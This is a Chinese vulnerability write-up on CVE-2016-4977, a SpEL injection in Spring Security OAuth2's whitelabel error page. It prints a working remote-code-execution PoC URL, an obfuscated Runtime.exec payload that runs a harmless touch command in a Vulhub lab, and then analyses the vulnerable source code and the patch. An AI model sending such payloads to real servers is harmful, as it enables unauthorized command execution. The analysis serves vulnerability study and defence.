浅析Spring Security OAuth2之CVE-2016-4977
/0x01 Spring Security OAuth2
OAuth2
OAuth 2.0是用于授权的行业标准协议,核心思路是通过各类认证手段(具体什么手段OAuth 2.0不关心)认证用户身份,并颁发token,使得第三方应用可以使用该token在限定时间、限定范围内访问指定资源。OAuth 2.0致力于简化客户端开发人员的工作,同时为Web应用程序、桌面应用程序、移动电话和客厅设备提供特定的授权流程。
OAuth在”客户端”与”服务提供商”之间,设置了一个授权层(authorization layer)。”客户端”不能直接登录”服务提供商”,只能登录授权层,以此将用户与客户端区分开来。”客户端”登录授权层所用的令牌(token),与用户的密码不同。用户可以在登录的时候,指定授权层令牌的权限范围和有效期。
“客户端”登录授权层以后,”服务提供商”根据令牌的权限范围和有效期,向”客户端”开放用户储存的资料。
校验流程如图:
具体的讲解可参考:《理解OAuth 2.0》
Spring Security OAuth2
Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块,主要包含认证服务器和资源服务器这两大块的实现:
Spring Security OAuth2主要包含认证服务器和资源服务器这两大块的实现:
认证服务器主要包含了四种授权模式的实现和Token的生成与存储,我们也可以在认证服务器中自定义获取Token的方式;资源服务器主要是在Spring Security的过滤器链上加了OAuth2AuthenticationProcessingFilter过滤器,即使用OAuth2协议发放令牌认证的方式来保护我们的资源。
更多的参考官方文档即可。
0x02 CVE-2016-4977
在Spring Security OAuth2的漏洞版本中,当用户使用whitelabel views
来处理错误时,由于使用了SpEL表达式,攻击者在被授权的情况下可以通过构造恶意参数来RCE。
影响版本
- 2.0.0 to 2.0.9
- 1.0.0 to 1.0.5
环境搭建
参考Vulhub:https://vulhub.org/#/environments/spring/CVE-2016-4977/
漏洞复现
访问如下链接,使用admin:admin登录:
1 | http://your-ip:8080/oauth/authorize?response_type=${123*456}&client_id=acme&redirect_uri=http://test |
在页面响应中会发现URL其中的参数的SpEL表达式会被解析,前面两个不同参数的注入在页面显示的报错信息也不一样:
1 | error="unsupported_response_type", error_description="Unsupported response types: [56088]" |
此时已证明是存在SpEL表达式注入漏洞了。下面就进行漏洞利用。
注意,如果直接将对应的参数改为恶意的SpEL表达式来尝试执行某些命令的话会发现大多数不能成功,原因可参考:Java Runtime.getRuntime().exec() 的那些payloads
这里直接用P神的脚本,原理是会用ord()函数将命令中的每个字符转换为ASCII码,再通过字符串拼接以及调用toString()函数来实现命令还原:
1 | #!/usr/bin/env python |
这里输入touch /tmp/mi1k7ea
,生成如下内容:
1 | ${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(116).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(55)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)))} |
最后将该内容替换到前面URL的会被SpEL解析的参数中构造出最终的PoC:
1 | http://your-ip:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(116).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(55)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)))}&client_id=acme&redirect_uri=http://test |
访问后页面显示如下:
到后台发现命令成功执行:
漏洞分析
这里就不逐步调试分析了,直接看到关键的几个函数。
这里我们选择2.0.9版本的Spring Security Oauth的代码来分析。
由前面页面的显示知道,在Spring Security Oauth2中是使用了whitelabel views
来处理错误的,而漏洞点正是出在这个错误的处理过程中。
看到WhitelabelErrorEndpoint类中,其含有一个handlerError()函数用于处理错误,这里会获取请求中的error,将其转换为OAuth2Exception类型,然后调用getSummary()函数来获取错误信息并进行HTML编码后赋值给errorSummary变量,将该变量put进model中,最后用SpelView()来渲染:
1 | /** |
这里errorSummary变量的值就是获取的我们输入的恶意参数的值即恶意SpEL表达式,此时errorSummary变量值为前面生成的PoC的内容即${T(java.lang.Runtime).getRuntime().exec(...)}
。
接着我们看下SpelView类的源码,路径为:https://github.com/spring-projects/spring-security-oauth/blob/2.0.9.RELEASE/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java
1 | /** |
看到以下两个函数:
- 在SpelView类的构造函数中,传参是赋值给了template属性即模板,helper属性是PropertyPlaceholderHelper类型、其中的两个传参分别是包括表达式字符串的前缀和后缀字符串,resolver属性是规定了如何解析这个错误信息、这里看到是定义了resolvePlaceholder()函数,该函数是将传参定义为Expression类型的表达式,再调用
expression.getValue(context)
,这就是SpEL表达式解析的地方,也是漏洞最后执行的地方。 - 在render()函数中,负责渲染页面,这里会调用replacePlaceholders()函数来使用resolver属性作为解析器、template属性作为模板进行页面的解析渲染。
在前面的ModelAndView类的构造函数中使用SpelView类来渲染页面,必然会调用到render()函数,而该函数调用了replacePlaceholders()函数。我们跟进该函数看看,路径为:https://github.com/spring-projects/spring-framework/blob/v4.1.4.RELEASE/spring-core/src/main/java/org/springframework/util/PropertyPlaceholderHelper.java
1 | /** |
看到replacePlaceholders()函数中是直接调用了parseStringValue()函数来进一步解析;在parseStringValue()函数中,递归调用了自身以获取前面SpelView类实例helper属性的前缀和后缀字符串括起来的内容并赋值给placeholder变量,接着就调用了SpelView类实例resolver属性的resolvePlaceholder()函数来解析这个placeholder变量值即我们输入的恶意SpEL表达式,从而在resolvePlaceholder()函数中调用了expression.getValue(context)
导致SpEL表达式注入漏洞的触发。
补丁分析
看下2.0.10版本的补丁怎么打的:https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d#diff-1490000798a5128b354afb04c352773a
可以看到在第一次执行表达式之前程序将
$
替换成了由RandomValueStringGenerator().generate()
生成的随机字符串,也就是${errorSummary} -> random{errorSummary}
,但是这个替换不是递归的,所以${2334-1}
并没有变。然后创建了一个
helper
使程序取random{}
中的内容作为表达式,这样就使得errorSummary
被作为表达式执行了,而${2334-1}
因为不符合random{}
这个形式所以没有被当作表达式,从而也就没有办法被执行了。不过这个Patch有一个缺点:
RandomValueStringGenerator
生成的字符串虽然内容随机,但长度固定为6,所以存在暴力破解的可能性。